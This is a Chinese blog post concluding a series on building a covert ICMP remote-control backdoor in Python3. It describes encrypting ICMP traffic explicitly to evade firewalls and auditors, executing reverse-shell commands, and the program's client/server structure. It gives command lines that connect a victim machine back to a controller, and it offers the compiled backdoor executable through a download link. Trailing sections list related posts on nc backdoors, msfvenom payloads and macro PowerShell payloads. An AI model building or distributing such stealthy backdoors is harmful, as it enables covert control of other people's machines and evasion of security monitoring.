ICMP后门


前言

第一篇:Python3实现ICMP远控后门(上)

第二篇:Python3实现ICMP远控后门(上)_补充篇

第三篇:Python3实现ICMP远控后门(中)之“嗅探”黑科技

熬到最后一篇了,本系列的Boss要出场了,实现了一个有意思的ICMP后门,暂时使用pyinstaller打包成了一个win32和64版本,如下图所示。

在前几篇的基础上,本篇扩展的知识点为数据的加密和解密,以及shell的调用,并最终生成一个可用的ICMP后门。本篇总共分为五节,需要花费5分钟时间。

第一节 通信的加密与解密  

ICMP远控采用的是ICMP协议进行通信,为了确保通信的保密性,防止防火墙或者审计人员探测出控制信息,决定对ICMP数据域的内容进行加密处理。

本次采用的是AES加密与base64编码相结合的方式。AES为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加解密流程如下图:

AES只是个基本算法,实现AES有若干模式。其中的CBC模式因为其安全性而被TLS(就是https的加密标准)和IPSec(win采用的)作为技术标准。简单地说,CBC使用密码和salt(起扰乱作用)按固定算法(md5)产生key和iv。然后用key和iv(初始向量,加密第一块明文)加密(明文)和解密(密文)。

下面介绍ICMP远控的加密解密方案,对于AES加解密,这里采用CBC模式,在Python3.5及之前版本使用pycrypto‎模块,之后版本使用pycrytodome模块。

加密

先是使用AES加密,对于传入的加密内容长度必须为16的倍数,不足则补为16的倍数,我这里是设置的补为32的倍数。使用AES加密结束后,对加密后的内容进行base64编码,以便传输。

 

解密

先是对加密后的内容进行base64解码,接着在进行AES解密,最后去掉为了对齐填充的内容。

第二节 Shell调用

ICMP后门最基本的功能就是完成shell的调用,也就是经常说的反弹shell。反弹的shell即是受控端的shell,控制端通过ICMP协议将shell命令发送给受控端,受控端调用shell执行命令,并将命令结果通过ICMP协议回传给控制端。Python中对shell的调用如下:

第三节 程序的整体结构

代码中总共有三个类,父类Transfer,两个子类client和server。Transfer类主要完成了socket初始化,加解密,icmp协议封包的通用功能。同时提供了一个reverse方法需要子类实现。

父类Transfer

子类client

 

子类server

第四节 使用方法

以我生成的icmpshell_win32.exe为例,为了方便演示,开启了一个VM虚拟机,和主机组成局域网,VM虚拟机中运行的是win7 32位的系统,主机运行的是win7 64的系统。主机的ip为192.168.72.4,虚拟机的ip为192.168.72.133.

 

主机作为控制端,虚拟机作为受控端。首先在主机上运行如下命令(管理员权限运行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s参数用于指明控制端的ip

在受控端运行如下命令(管理员权限运行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l参数用于指明受控端的ip,-c参数用于指明要连接的控制端的ip

 

受控端运行效果

控制端运行效果

 

执行dir命令和tasklist命令

whoami命令

icmpshell源代码已经优先上传到知识星球中,想看源代码的朋友请关注我的知识星球。

如果大家只是想玩一下,给大家提供了icmpshell_win32.exe的下载链接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密码:8rgu

最后

如果觉得本文还可以,一定记得推荐哟。欢迎关注我的公众号,知识星球在菜单中。

回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程 
回复【3】:领取 机器学习 全套教程

Python3实现ICMP远控后门(下)之“Boss”出场的更多相关文章

  1. Python3实现ICMP远控后门(中)之“嗅探”黑科技

    ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...

  2. Python3实现ICMP远控后门(上)_补充篇

    ICMP后门(上)补充篇 前言 在上一篇文章Python3实现ICMP远控后门(上)中,我简要讲解了ICMP协议,以及实现了一个简单的ping功能,在文章发表之后,后台很多朋友留言,说对校验和的计算不 ...

  3. Python3实现ICMP远控后门(上)

    这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两 ...

  4. 用nc+简单bat/vbs脚本+winrar制作迷你远控后门

    前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...

  5. 2019-9-11:渗透测试,Kill远控软件,初接触

     初步使用Kill远控软件,使win7靶机被远控 该文章仅供学习,利用方法来自网络文章,仅供参考   1,打开运行Kill,选择系统设置,设置监听端口,通讯密码,点击保存设置 2,点击服务生成,上线参 ...

  6. 利用kage把msf变成可视化远控平台

    项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q ...

  7. 使用kali生成远控payload

    kali linux中的metasploit框架是优秀的渗透框架之一,今天记载一下使用kali生成windows远控木马的过程 生成payload使用的工具是MSFVenom,我们输入msfvenom ...

  8. 域控场景下windows安全日志的分析--审计认证行为和命令的历史记录

    https://www.cnblogs.com/KevinGeorge/p/8563458.html 一.域控windows安全日志基本操作 1.打开powershell或者cmd 1 #gpedit ...

  9. 【原创】利用Office宏实现powershell payload远控

    本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境: ...

随机推荐

  1. JavaScript检测提交表单text合法

    近日,一朋友开设了地方性质的论坛,让我帮他处理下Login.php(所谓的用户的登陆页面),但是登陆的时候,出现空字符或敏感字符,需要提交到服务端的Script处理,大大降低了效率,于是乎,就有了此代 ...

  2. ITU-T Technical Paper: IP服务性能模型

    本文翻译自ITU-T的Technical Paper:<How to increase QoS/QoE of IP-based platform(s) to regionally agreed ...

  3. linux服务搭建----NFS服务搭建

    nfs  服务     //配置脚本         /etc/exports     //服务器  发布目录     1> 确定需要发布的目录(想要共享的目录)     例如:      想发 ...

  4. Linux管线命令 - cut,grep,sort,uniq,wc,tee,tr,col,join,paste,expand,split,xargs

    在每个管线后面接的第一个数据必定是『命令』喔!而且这个命令必须要能够接受 standard input 的数据才行,这样的命令才可以是为『管线命令』,例如 less, more, head, tail ...

  5. How tomcat works 读书笔记十四 服务器组件和服务组件

    之前的项目还是有些问题的,例如 1 只能有一个连接器,只能处理http请求,无法添加另外一个连接器用来处理https. 2 对容器的关闭只能是粗暴的关闭Bootstrap. 服务器组件 org.apa ...

  6. java获取时间

    string startTimeStr = ((String) jsonCampaign.get(configObj.getKeyword(config.START_TIME)));          ...

  7. UITabbar的一些常规用法(总结)

    往往系统自带的UITabbar 不能满足我们的样式或者颜色设计,所以需要调整UITabbar. 1.自定义UITabbar,也是我学到的第一种方式(简单暴力). 先记录一下思路: 首先,隐藏系统自带的 ...

  8. 如果去掉UITableView上的section的headerView和footerView的悬浮效果

    项目需要cell的间距,又不需要悬浮效果,百度之后找到这个方法,记录一下,备忘. 用UIScrollView的代理方法实现 - (void)scrollViewDidScroll:(UIScrollV ...

  9. ubuntu安装最新的rails-4.2.0

    完全按照教程来,可是错误不断,还是边装边baidu吧! sudo gem install rails 安装了一大坨关联gem之后,终于好了.于是想小试一下身手,新建文件夹rails_test,cd进入 ...

  10. ruby写一个文件内容相似性比较的代码

    1.相似度定义 我们定义,则,我们设,则,|C|=s,则相似度p=,p(0,1) 2.相似度检测算法设计 算法设计: 定义4个字符为一个字符串,将T1,T2分割成若干字符串,若剩余字符不足4个,则以空 ...